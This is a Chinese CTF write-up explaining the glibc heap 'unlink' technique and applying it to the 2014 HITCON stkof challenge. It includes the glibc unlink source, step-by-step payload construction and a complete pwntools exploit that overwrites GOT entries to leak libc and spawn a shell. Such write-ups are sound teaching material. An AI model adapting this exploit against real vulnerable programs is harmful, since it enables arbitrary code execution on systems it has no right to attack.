Unlink的学习与利用
- 2019 年 10 月 6 日
- 筆記
本文转载自 订阅号“安全初心”
原理
0x00 unlink是什么
unlink说的是linux系统在进行空闲堆块管理的时候,进行空闲堆块的合并操作。一般发生在程序进行堆块释放之后。

(图片来自ctf wiki)

其实操作就是(学过数据结构应该很好理解)
p->fd->bk = p->bk p->bk->fd = p->fd
0x01 从源代码理解unlink
#define unlink(P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P); //这里有一个unlink的防护 else { FD->bk = BK; \进行了检查(核心代码) BK->fd = FD; if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { assert (P->fd_nextsize->bk_nextsize == P); assert (P->bk_nextsize->fd_nextsize == P); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } } }
可以看出我们需要满足以下条件才能绕过检查
FD->bk = BK; BK->fd = FD;
为了绕过检查,我们必须在全局变量区找到一个指向堆块的地方,若该指针为ptr
32位 FD = ptr-12 BK = ptr-8 64位 FD = ptr-0x18 BK = ptr-0x10
例题:2014 HITCON stkof
0x00 基本信息
$ file hitcon-14-stkof hitcon-14-stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, $ checksec hitcon-14-stkof Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
程序为64位,开了NX和Canary保护
0x01 流程分析
- alloc (输入分配内存的大小size)
- read_in (往分配的内存中输入内容,允许写入任意长度,可造成堆溢出)
- free (释放内存块)
- useless (无用函数)
0x02 利用过程
- 首先构造3个chunk:chunk1、chunk2、chunk3,
- 利用漏洞溢出chunk2,使chunk2和chunk3合并,利用unlink
alloc(0x100) # id 1 # begin alloc(0x40) # id 2 # small chunk size in order to trigger unlink alloc(0x80) # id 3 # a fake chunk at global[2]=head+16 who's size is 0x20 payload = p64(0) #prev_size payload += p64(0x40) #current size payload += p64(head + 16 - 0x18) #fd +16因为这是bss段,第二个堆块 payload += p64(head + 16 - 0x10) #bk payload = payload.ljust(0x40, 'a') # overwrite global[3]'s chunk's prev_size # make it believe that prev chunk is at chunk2 payload += p64(0x40) # make it believe that prev chunk is free payload += p64(0x90) edit(2, len(payload), payload) # unlink fake chunk, so chunk[2] =&(chunk[2])-0x18=head-8 free(3)
- 修改 chunk0 为 free@got 地址,同时修改chunk1为 puts@got 地址,chunk2 为 atoi@got 地址
- free@got的值覆盖为puts@plt
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi']) edit(2, len(payload), payload) payload = p64(stkof.plt['puts']) edit(0, len(payload), payload)
- leak出system地址,覆盖atoi@got
free(1) puts_addr = p.recvuntil('nOKn', drop=True).ljust(8, 'x00') puts_addr = u64(puts_addr) puts_offset = puts_addr - libc.symbols['puts'] system_addr = puts_offset + libc.symbols['system'] payload = p64(system_addr) edit(2, len(payload), payload) p.send('/bin/sh')
0x03 exp
#!/usr/bin/python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' p = process("./hitcon-14-stkof") stkof = ELF('hitcon-14-stkof') libc = ELF('./libc.so.6') head = 0x602140 def alloc(size): p.sendline('1') p.sendline(str(size)) p.recvuntil('OKn') def edit(idx, size, content): p.sendline('2') p.sendline(str(idx)) p.sendline(str(size)) p.send(content) p.recvuntil('OKn') def free(idx): p.sendline('3') p.sendline(str(idx)) def pwn(): # small chunk size in order to trigger unlink alloc(0x100) # id 1 alloc(0x40) # id 2 alloc(0x80) # id 3 # a fake chunk at chunk[2]=head+16 who's size is 0x40 payload = p64(0) #prev_size payload += p64(0x40) #size payload += p64(head + 16 - 0x18) #fd payload += p64(head + 16 - 0x10) #bk #payload += p64(0x20) # next chunk's prev_size bypass the check payload = payload.ljust(0x40, 'a') # overwrite chunk[3]'s chunk's prev_size # make it believe that prev chunk is at chunk[2] payload += p64(0x40) # make it believe that prev chunk is free payload += p64(0x90) edit(2, len(payload), payload) # unlink fake chunk, so chunk[2] =&(chunk[2])-0x18=head-8 free(3) p.recvuntil('OKn') # overwrite chunk0 = free@got, chunk1=puts@got, chunk2=atoi@got payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi']) edit(2, len(payload), payload) # edit free@got to puts@plt payload = p64(stkof.plt['puts']) edit(0, len(payload), payload) free(1) puts_addr = p.recvuntil('nOKn', drop=True).ljust(8, 'x00') puts_addr = u64(puts_addr) log.success('puts_addr: ' + hex(puts_addr)) puts_offset = puts_addr - libc.symbols['puts'] system_addr = puts_offset + libc.symbols['system'] log.success('put_offset: ' + hex(puts_offset)) log.success('system_addr: ' + hex(system_addr)) # turn atoi@got into system addr payload = p64(system_addr) edit(2, len(payload), payload) #p.send('/bin/sh') p.interactive() pwn()
0x04 题外话
由于unlink原理资料很多,所以本文原理介绍篇幅有限。这个程序没什么输出,很难看,分析起来很耗时间。复现题目一定要多换换参数,方法。如果本文有什么错误或者您有什么疑惑,请联系我。
参考资料:
http://wonderkun.cc/index.html/?p=651
https://blog.csdn.net/qq_33528164/article/details/79586902
https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/#_3